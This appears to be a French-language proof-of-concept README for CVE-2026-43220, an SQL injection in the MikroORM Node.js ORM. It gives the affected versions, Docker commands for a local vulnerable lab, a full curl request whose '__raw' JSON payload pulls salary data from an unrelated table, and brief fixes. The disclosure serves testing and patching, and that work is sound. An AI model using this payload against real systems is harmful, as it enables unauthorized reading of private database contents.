
Vulnérabilité d'injection SQL dans MikroORM
★ PoC de l'injection SQL CVE-2026-43220 dans MikroORM ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 est une vulnérabilité d'injection SQL dans MikroORM, un framework ORM TypeScript/Node.js largement utilisé.
Lorsqu'une valeur fournie par l'utilisateur contenant une propriété__rawest transmise à une colonne de type personnalisé sans validation, la vérificationisRaw()de MikroORM l'identifie comme une expression SQL brute interne de confiance et insère la valeursqlcontrôlée par l'attaquant directement dans la requête générée, sans conversion de type ni assainissement, provoquant ainsi l'exécution non intentionnelle de SQL arbitraire.
| Catégorie | Version |
|---|
| Vulnérable | MikroORM version ≤ 6.4.3 & 7.0.0 ≤ version ≤ 7.0.5 |
| Corrigée | MikroORM 6.4.4 & 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
Après avoir démarré l'environnement vulnérable, suivez les étapes ci-dessous pour reproduire l'attaque.
__rawEnvoyez un corps JSON incluant une propriété __raw ciblant une colonne de type personnalisé.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Vérifiez que l'API renvoie une réponse réussie sans aucune erreur, indiquant que MikroORM a accepté la charge utile malveillante comme une valeur valide.
Vérifiez que le champ content de la publication créée contient le résultat de la requête
provenant de la table salaries (par exemple, Alice: 5000 / Bob: 7000 / ...),
confirmant que des données d'une table sans rapport ont été silencieusement intégrées
dans la réponse sans aucune erreur ni violation du contrôle d'accès.
isRaw() pour rejeter les propriétés __raw fournies de l'extérieur__raw avant de transmettre les valeurs à la couche ORM